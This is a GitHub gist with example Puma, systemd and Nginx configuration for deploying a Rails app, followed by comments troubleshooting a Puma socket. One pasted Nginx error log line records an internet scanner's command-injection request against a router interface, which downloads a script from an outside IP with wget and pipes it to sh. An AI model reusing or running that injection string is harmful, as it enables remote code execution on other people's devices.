Skip to content

Instantly share code, notes, and snippets.

@davidteren
Last active January 16, 2025 21:19
Show Gist options
  • Save davidteren/c2f9cc0d8781f68f3d00cdb67f8090e2 to your computer and use it in GitHub Desktop.
Save davidteren/c2f9cc0d8781f68f3d00cdb67f8090e2 to your computer and use it in GitHub Desktop.
Example setup for Puma with Nginx in a Rails app

In the apps config/puma.rb file:

Change to match your CPU core count
# Check using this on the server => grep -c processor /proc/cpuinfo
workers 4

# Min and Max threads per worker
threads 1, 6
app_dir    = File.expand_path('../..', __FILE__)
shared_dir = "#{app_dir}/shared"

# Default to production
rails_env = ENV['RAILS_ENV'] || 'production'
environment rails_env

# Set up socket location
bind "unix://#{shared_dir}/sockets/puma.sock"

# Logging
stdout_redirect "#{shared_dir}/log/puma.stdout.log", "#{shared_dir}/log/puma.stderr.log", true

# Set master PID and state locations
pidfile "#{shared_dir}/pids/puma.pid"
state_path "#{shared_dir}/pids/puma.state"
activate_control_app

on_worker_boot do
  require 'active_record'
  ActiveRecord::Base.connection.disconnect! rescue ActiveRecord::ConnectionNotEstablished
  ActiveRecord::Base.establish_connection(YAML.load_file("#{app_dir}/config/database.yml")[rails_env])
end

In the /etc/systemd/system/puma.service file

#Modify the path to the app directory and the user and group. 
[Unit]
Description=Puma HTTP Server
After=network.target
# Uncomment for socket activation (see below)
# Requires=puma.socket
[Service]
# Foreground process (do not use --daemon in ExecStart or config.rb)
Type=simple
# Preferably configure a non-privileged user
User=deploy
Group=deploy
# Specify the path to your puma application root
WorkingDirectory=/home/deploy/app-name
# Helpful for debugging socket activation, etc.
# Environment=PUMA_DEBUG=1
# EnvironmentFile=/home/deploy/app-name/.env
# The command to start Puma
# ExecStart=/sbin/puma -b tcp://0.0.0.0:9292 -b ssl://0.0.0.0:9293?key=key.pem&cert=cert.pem
# ExecStart=/usr/local/bin/bundle exec --keep-file-descriptors puma -e production
# ExecStart=/usr/local/bin/puma -C /home/deploy/app-name/config/puma.rb
ExecStart=/home/deploy/.rbenv/shims/bundle exec puma -e production -C ./config/puma.rb config.ru
PIDFile=/home/deploy/app-name/shared/tmp/pids/puma.pid
Restart=always
[Install]
WantedBy=multi-user.target

In the /etc/nginx/sites-enabled/defaultfile

upstream app {
  # Path to Puma SOCK file, as defined previously
  server unix:/home/deploy/app-name/shared/sockets/puma.sock fail_timeout=0;
}
server {
  listen 80;
  server_name localhost;
  root /home/deploy/app-name/public;
  try_files $uri/index.html $uri @app;
  location @app {
    proxy_pass http://app;
    proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;

    # The follow resulted in a 422 unprocessible entity being returned after a login.
    # Changing from \$http_host to $host fixed the issue.
    # proxy_set_header Host \$http_host;
    proxy_set_header Host $host;

    proxy_redirect off;
  }
  error_page 500 502 503 504 /500.html;
  client_max_body_size 4G;
  keepalive_timeout 10;
  
  # Other rules & directives....

}
@aashish
Copy link

aashish commented May 21, 2024

Hi @davidteren
Was setting up Nginx/Puma/Rails on a VPS Ubuntu 20.x version
Configured Nginx and is running
Configured Puma and is running
When I try the domain from browser only default static index page is loaded
Dynamic pages are not loading
Can you please suggest if anything missing

Thank you
Aashish

@aashish
Copy link

aashish commented May 21, 2024

The following is nginx configuration. Seems only Static index page with path /var/www/yourapp/current/public/index.html is being loaded

upstream yourapp {
  server unix:///var/www/yourapp/shared/sockets/puma.sock;
}

server {
  listen 80;
  server_name yourapp.com;

  root /var/www/yourapp/current/public;

  location / {
    try_files $uri/index.html $uri @yourapp;
  }

  location @yourapp {
    proxy_pass http://yourapp;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_redirect off;
  }

  location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ {
    expires max;
    add_header Cache-Control public;
  }

  error_page 500 502 503 504 /500.html;
  client_max_body_size 4G;
  keepalive_timeout 10;
}
root@vps:~# 

@davidteren
Copy link
Author

Hey @aashish, it may be that nginx is not seeing the applications puma.sock
Have you checked if it's in the extpeced path?

Also check the nginx logs. I think they are in var/log/nginx/error.log

@davidteren
Copy link
Author

Have considered using Kamal?
Deploying a Rails app with Kamal

@aashish
Copy link

aashish commented May 21, 2024

Seems Puma started without errors

May 21 18:04:24 vps puma[89544]: [89544] Puma starting in cluster mode...
May 21 18:04:24 vps puma[89544]: [89544] * Version 3.11.4 (ruby 2.4.1-p111), codename: Love Song
May 21 18:04:24 vps puma[89544]: [89544] * Min threads: 1, max threads: 6
May 21 18:04:24 vps puma[89544]: [89544] * Environment: production
May 21 18:04:24 vps puma[89544]: [89544] * Process workers: 4
May 21 18:04:24 vps puma[89544]: [89544] * Phased restart available
May 21 18:04:24 vps puma[89544]: [89544] * Listening on unix:///var/www/yourapp/shared/sockets/puma.sock
May 21 18:04:24 vps puma[89544]: [89544] Use Ctrl-C to stop
root@vps:~# 

Nginx error logs

2024/05/21 17:58:26 [error] 85534#85534: *39 connect() to unix:///var/www/yourapp/shared/sockets/puma.sock failed (111: Connection refused) while connecting to upstream, client: 31.220.1.83, server: yourapp.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.146.23.249%2Ft+-O-+|+sh%60) HTTP/1.1", upstream: "http://unix:///var/www/yourapp/shared/sockets/puma.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.146.23.249%2Ft+-O-+|+sh%60)", host: "xxx.xxx.xxx.xxx:80"

@aashish
Copy link

aashish commented May 21, 2024

Have considered using Kamal? Deploying a Rails app with Kamal

Seems Kamal is for Docker container
Currently have VPS with Ubuntu

@amalsajesh441
Copy link

amalsajesh441 commented Nov 8, 2024

hi @aashish currently I'am facing some issue with puma.sock file which I have mentioned in /etc/nginx/sites-enabled/
can you please help me

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment